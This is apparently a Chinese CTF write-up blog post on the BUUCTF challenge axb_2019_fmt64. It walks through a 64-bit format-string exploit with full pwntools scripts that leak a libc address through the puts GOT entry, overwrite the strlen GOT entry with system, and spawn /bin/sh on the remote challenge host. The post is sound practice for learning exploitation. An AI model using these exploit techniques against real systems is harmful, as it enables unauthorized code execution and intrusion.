本文最后更新于264 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com
1、axb_2019_fmt64分析


64位partial+NX,又是该死的复读机

很明显,这并不会栈溢出,应该是格式化字符串漏洞,有printf在,我们来勾引一下,因为有时钟,所以提前写好然后cv

对得可齐了,偏移是8,这道题没有system,那就考虑泄露libc,其实比昨天那道题多了一点步骤。
这道题打算用puts来泄露,那32位我们用p32(puts_got)+%8$s,64位有点不同,因为send的地址和构造的格式化字符串之间有好多个00,所以会在之前就截断,于是我们把地址放后面

看,还是有个小问题,用偏移8后面还是会有0截断,所以试试9,没毛病啊
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27644)
elf=ELF("./axb_2019_fmt64")
puts_got=elf.got['puts']
payload=b'%9$s'+b'aaaa'+p64(puts_got)
p.recvuntil("Please tell me:")
p.send(payload)
p.recvuntil("Repeater:")
puts=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts))
p.interactive()

可以查一下,是2.23

接下来就是计算地址和修改地址,这里暂时不能理解,只是看着大佬的文章做一下,64位的区别感觉挺大的,之前32位我们直接用fmtstr_payload()直接改了,感觉挺方便,但是64位不能直接改,我们泄露got表地址的时候是从最后一位来时泄露的,改的时候也是从后面开始改,那这两个地址的差别是?

面是有3位不同,但是我们劫持什么函数呢,这里是个弯路,整崩溃了,我们直接走strlen吧,关于修改,就是一次修改一个字节,这里分成高低两个,单字节是hhn,双字节hn,四字节n
首先把高字节d1改成cf,偏移是12,而且在利用之前已经有’Repeater:’,所以
b'%'+str(high-9)+b'c%12$hhn'+b'%'+str(low-high)+b'c%13$hn'
确实很难理解,先肝出来再说,慢慢来,现在看一下这个有多长
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29654)
elf=ELF("./axb_2019_fmt64")
puts_got=elf.got['puts']
payload=b'%9$s'+b'aaaa'+p64(puts_got)
p.recvuntil("Please tell me:")
p.send(payload)
p.recvuntil("Repeater:")
puts=u64(p.recv(6).ljust(8,b'\x00'))
print('puts->'+hex(puts))
strlen_got=elf.got['strlen']
print('strlen->'+hex(strlen_got))
libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
print('sys->'+hex(sys))
high=(sys>>16)&0xff
low=sys&0xffff
print('high->'+hex(high))
print('low->'+hex(low))
payload=b'%'+bytes(str(high-9),encoding='utf-8')+b'c%12$hhn'+b'%'+bytes(str(low-high),encoding='utf-8')+b'c%13$hn'
print(len(payload))
print(payload)
p.interactive()

TAT要哭了,不过,快要getshell了
2、axb_2019_fmt64含泪拿flag
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29654)
elf=ELF("./axb_2019_fmt64")
puts_got=elf.got['puts']
payload=b'%9$s'+b'aaaa'+p64(puts_got)
p.recvuntil("Please tell me:")
p.send(payload)
p.recvuntil("Repeater:")
puts=u64(p.recv(6).ljust(8,b'\x00'))
print('puts->'+hex(puts))
strlen_got=elf.got['strlen']
print('strlen->'+hex(strlen_got))
libc=ELF("./libc-2.23.so")
base=puts-libc.sym['puts']
sys=base+libc.sym['system']
print('sys->'+hex(sys))
high=(sys>>16)&0xff
low=sys&0xffff
print('high->'+hex(high))
print('low->'+hex(low))
payload=b'%'+bytes(str(high-9),encoding='utf-8')+b'c%12$hhn'+b'%'+bytes(str(low-high),encoding='utf-8')+b'c%13$hn'
print(len(payload))
print(payload)
payload=payload.ljust(32,b'a')+p64(strlen_got+2)+p64(strlen_got)
p.recvuntil("Please tell me:")
p.sendline(payload)
p.sendline(';/bin/sh\x00')
p.interactive()
TAT我还是好菜

推荐点文章吧
Angel~Yan师傅的:
海蜃师傅的:
https://www.anquanke.com/post/id/194458?display=mobile
感谢大佬的文章,不然今天就卡壳了……










